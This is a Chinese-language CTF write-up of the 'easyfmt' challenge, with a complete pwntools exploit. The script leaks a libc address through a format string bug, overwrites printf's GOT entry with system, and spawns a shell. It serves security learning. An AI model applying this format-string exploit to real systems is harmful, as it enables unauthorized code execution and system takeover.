wdb_2018_2nd_easyfmt(格式化字符串)
题目情况
程序流程非常简单,一眼格式化字符串漏洞
题目中没法发现其他漏洞或者可用的地方,卡住了,看了一些wp之后知道了格式化字符串还可以通过修改got表来执行system
虽然自己在做的时候跟网上的wp有一些差异,但还是拿到了shell
大致思路
-
格式化字符串漏洞这里是死循环,则表示可以反复利用
-
先确定输入数据的参数位置
看到输入数据的地址 0xffffd0f8
使用fmtarg指令查看偏移:
得到了参数位置为第六个参数
-
第一次利用printf泄露printf的实际地址
printf_got = elf.got['printf'] p.recvuntil("Do you know repeater?\n") payload = p32(printf_got) payload += b"%6$s" p.sendline(payload) printf_addr = u32(p.recvuntil("\xf7")[-4:]) print(hex(printf_addr))
-
拿到printf的地址后就可以使用Libcsearcher确定libc版本然后算出libc基址,算出system函数地址
libc = LibcSearcher('printf', printf_addr) libc_base = printf_addr - libc.dump('printf') log.success("libc_base addr is ->%s" % hex(libc_base)) system_addr = libc_base + libc.dump('system')
-
然后再次利用printf修改got表里printf的地址为system的地址
-
先看看需要修改的大小,一共四字节大小可以用两次hn
其实做完了才发现可以只修改低四位。。。
-
构造格式化字符串:
system_low = system_addr & 0xffff system_high = (system_addr >> 16) & 0xffff payload = p32(printf_got) + p32(printf_got + 2) payload += b'%' + bytes(str(system_low - 8), "utf-8") + b'c%6$hn' payload += b'%' + bytes(str(system_high-system_low), "utf-8") + b'c%7$hn'
-
注意这里的一个细节,system_low - 8,这是因为前面构造的printf_got和printf_got+2一共占了8字节所以要减回来,可以看一些如果不减修改的地址的情况:
可以看到修改的got表低四位地址多了0x8
-
-
成功修改后,再次执行printf时其实是执行system,所以第三次执行printf发送‘/bin/sh\x00’
注意点与收获
-
更加深刻理解了格式化字符串漏洞,也明白了怎么构造格式化字符串
-
学会了修改got表的方法
-
终于理解了参数位置的意思(为什么可以做到一字节或两字节修改值)
完整exp
from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') gdb.attach(p) elf = ELF('./pwn') def exp(p): printf_got = elf.got['printf'] p.recvuntil("Do you know repeater?\n") payload = p32(printf_got) payload += b"%6$s" p.sendline(payload) printf_addr = u32(p.recvuntil("\xf7")[-4:]) print(hex(printf_addr)) libc = LibcSearcher('printf', printf_addr) libc_base = printf_addr - libc.dump('printf') log.success("libc_base addr is ->%s" % hex(libc_base)) system_addr = libc_base + libc.dump('system') log.success("system addr is ->%s" % hex(system_addr)) printf_got = elf.got['printf'] log.success("printf_got addr is ->%s" % hex(printf_got)) system_low = system_addr & 0xffff system_high = (system_addr >> 16) & 0xffff payload = p32(printf_got) + p32(printf_got + 2) payload += b'%' + bytes(str(system_low - 8), "utf-8") + b'c%6$hn' payload += b'%' + bytes(str(system_high-system_low), "utf-8") + b'c%7$hn' pause() p.send(payload) pause() print("------------------------------------------------------") pause() p.sendline(b"/bin/sh\x00") p.interactive() exp(p)